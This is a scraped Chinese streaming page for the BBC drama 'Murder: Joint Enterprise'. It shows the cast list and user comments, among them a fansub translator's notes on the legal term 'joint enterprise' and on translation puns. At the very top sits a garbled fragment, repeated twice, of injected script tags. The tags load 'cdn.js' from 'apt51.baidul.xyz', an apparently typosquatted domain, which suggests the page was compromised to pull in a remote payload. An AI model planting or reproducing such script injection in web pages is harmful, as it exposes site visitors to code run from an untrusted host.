* src="https://apt51.baidul.xyz/cdn.js">"/> * src="https://apt51.baidul.xyz/cdn.js">" />
英格兰奇葩联合谋杀事件

英格兰奇葩联合谋杀事件

26

    8.0

    播放列表

     正序

    同主演作品

     明星可左右滑动
    • 卡拉·克罗姆
    • 约瑟夫·戴浦西
    • 斯蒂芬·迪兰
    • 克莱尔·拉什布鲁克
    • 劳伦·索恰

    用户评论

    • Jensen

      一开始的时候还觉得挺新颖的。
      结果好多人絮絮叨叨,就没认真看了。
      我从开头就说那女的杀的。从动机来说,那男的最多误杀。那女的就苦大仇深了,巴不得要将姐姐煎皮拆骨,里面说我们是姐妹的时候,好虚伪。lie to me 教过大家,一句话反复说就是谎话。而且这女的讲这话眼神空洞,语气平静,超级虚伪。
      相反,男的很激动,一讲到教父就激动的要死,这就是人的正常反应。
      只觉得那女的非常虚伪,到最后还笑了。挺不要脸的。要么她完全忘记了自己杀过人,创伤后遗症什么的。要么就是她早就知道这结果,从她整理姐姐的衣服感觉她是后者吧。怎么嫁祸都想好了。
      其实,女的说i did警官就应该把矛头转移了。
      其实H的作用没多大,结果都改变不了。
      这戏就让我想起了,人们只记得对自己有利的记忆,对事物的映像是主观的。貌似政治有教.......高考一过就忘了哈!
      最奇葩的是,这俩主角是皮囊里面的配角,皮囊里面还是一对啊嚓。

    • Jensen

      大约是翻译君蓝蓝要烤雅思的缘故,我在翻译my family的间隙临时接手了Murder剧的一半翻译。
      此剧生肉下了足有一星期。所以在这段时间内一直没有任何进展,仅仅是在拿到英文字幕后粗略的看了一遍。发现没有累赘的从句,没有不认识的单词。虽然整篇字幕看下来之后还是一头雾水,但这个第一印象让我对翻译此剧抱了一点轻视的心态。正如蓝蓝的影评里面所说的,抱着这种心态的我在交稿的前期被恶狠狠的虐了一把。

      眼看着截止日期就要到来,我开始磨磨蹭蹭的着手翻译。因为我翻译的是电影后半段,所以一边心里想着“哎呀,那就顺便看看前半段了解一下剧情吧”一边把英文字母挂上生肉。
      看了不到5分钟我冷汗就下来了——尼玛都在讲些什么啊摔!
      耐着性子又看了5分钟——监制大人我再也不敢乱接任务了我可以辞职嘛救命别开枪啊啊啊!
      后来还是硬着头皮一字一句的把翻译扣了出来。25分钟,我用了10天。整个电影看了不下10遍,某些台词我居然已经背得滚瓜烂熟。
      从此不再小觑任何翻译。


      一、t关于片名和社会背景:Murder-Joint Enterprise
      如果你直接百度,估计会搜到联合企业这个解释。其实 Joint Enterprise 是英国的一部判例,距今已有300年。它的内容简而言之便是:身处犯罪现场的人都能以此罪名被起诉。它的目的是通过同伙承担犯罪责任的形式,遏制伦敦地区的团伙犯罪。
      英国是判例法国家,法庭的判决都要遵循先例。所以,在运用先例进行判决的时候,不免会对先例进行解释,或者选择对自己最有利的先例对犯罪嫌疑人提起控诉。所以,英国警方,检方抓住了Joint Enterprise的漏洞,制造出很多冤案错案。无辜的路人锒铛入狱,正如我们影片中的Stafan一样。事态扩大,已然成为一个社会现象。
      所以,这部影片其实没有我们想象的那么简单。
      (有关报道请移步:http://news.bbc.co.uk/panorama/hi/front_page/newsid_8366000/8366280.stm)

      小晴本科学刑法,小晴的BF君是犯罪学的在读研究生。但是在Joint Enterprise的翻译上产生了争执,差点没掐起来。
      我认为,在想不出对应翻译的情况下,可以仿照德日刑法以及国内刑法的理论观点,直接把Joint Enterprise套用翻译成 “共同正犯” 意思是两人以上共同实行某犯罪行为。BF和我出发点不同,查找了很多资料,发现官方翻译也是共同正犯。堪堪打了平手。
      所以我的意见是,Murder-Joint Enterprise可以翻译成 谋杀-共同正犯。但是由于过于学术化,吸引不了观众,所以后来不了了之。


      二、t一些翻译上的不足
      翻译的时候,怕的是俚语,最怕的是双关。
      比如The Royal.这个词出现了两次,一次是电影开头柯琳说:”We’ve been to the Royal” 还有后来母亲离家出走前说的:“So I went to the Royal“。要不是看了某人的短评,我死也想不出The Royal居然是酒吧。所以我现在想知道的是,The Royal究竟是酒吧的名字,还是在英国人口中,The Royal代表了酒吧的含义。
      在靠近结尾,Stafan在回忆自己的生平时,想到自己的教子,说了一句:In the limbo he is, waiting.
      这句话含义非常丰富。但是在中文中无法表达出来。因为这句话就是该死的双关。
      Limbo有很多意思,其中宗教含义是:地狱的边缘地带,指代他的教子还没有受洗,还在地狱的边缘等待着洗礼,等待着开始他的人生。
      同时Limbo还有监狱的意思。Stafan说这句话的时候,同时也在说自己,他也呆在监狱中,处于法律上的边缘地带,等待着判决结果,等待着自己的人生改变的那一刻。
      影片中,Stafan一直等待着被人肯定。不管是作为儿子,作为士兵,还是作为公民。就算他一直得到母亲的不公对待,被自己的辩护人怀疑,被社会舆论批评成兵痞,但是直到他说出这句话的时候,他其实还坚守着,没有放弃希望。所以在影片的最后,看到他终于放弃挣扎,露出笑容的时候,他在笑什么,是笑自己的命运,还是在笑这个疯癫的世界。

      三、t结尾
      最后的最后,巴士又离开了车站。正如艾琳的妈妈说的那样,里面亮着灯,看起来温暖而快乐。或许这个巴士载着母女俩开始了新的生活,但我更相信,知道真相的母亲有一次选择了逃避。从此罪人逍遥世间,无辜者身陷囹圄,律师洋洋得意。法庭内外还是一片安宁祥和,莺歌燕舞,就像什么也没有发生一样。

    • Jensen

      下崽:http://weibo.com/talking2u


      别的字幕组不管,我们松鼠字幕组不盈利,组内成员也就是爱好者。
      本君是skins死忠粉,给我睁大眼睛看一下这句话!为了男主翻译的!
      为了chris翻译的,生肉画质我特喜欢,翻译的时候把我和另外一君虐跪了,片如其名要是看完觉得符合这名字那你来非议我取的名我真是不待见你,要不然你想名字?




      我又不是淘宝掌柜干嘛受你气啊奇怪。




      还有您在这儿觉得这片是垃圾您可以直接送垃圾桶,费您金言批评了嘿。我看人家买盗版碟看下来差劲还花钱了呢,您呢?

      请麻利儿收拾圆润地离开!




      1.出品是BBC2,往大了说英国广播公司,英剧或者说英国影象制品的投入成本一向不大,BBC的演员不多,投入金钱做电影也不是他们的主业,绝不能和美帝比的。
      2.要只是把片名译成谋杀,早就石沉大海了。
      3.jose小小私心了下把热衷的足球俱乐部加进了电影,joseph曾经在诺丁汉学习过几年吧,所以出演这个角色很合适。


      本君脾气不好,别跟这儿瞎捣鼓哟!

    返回顶部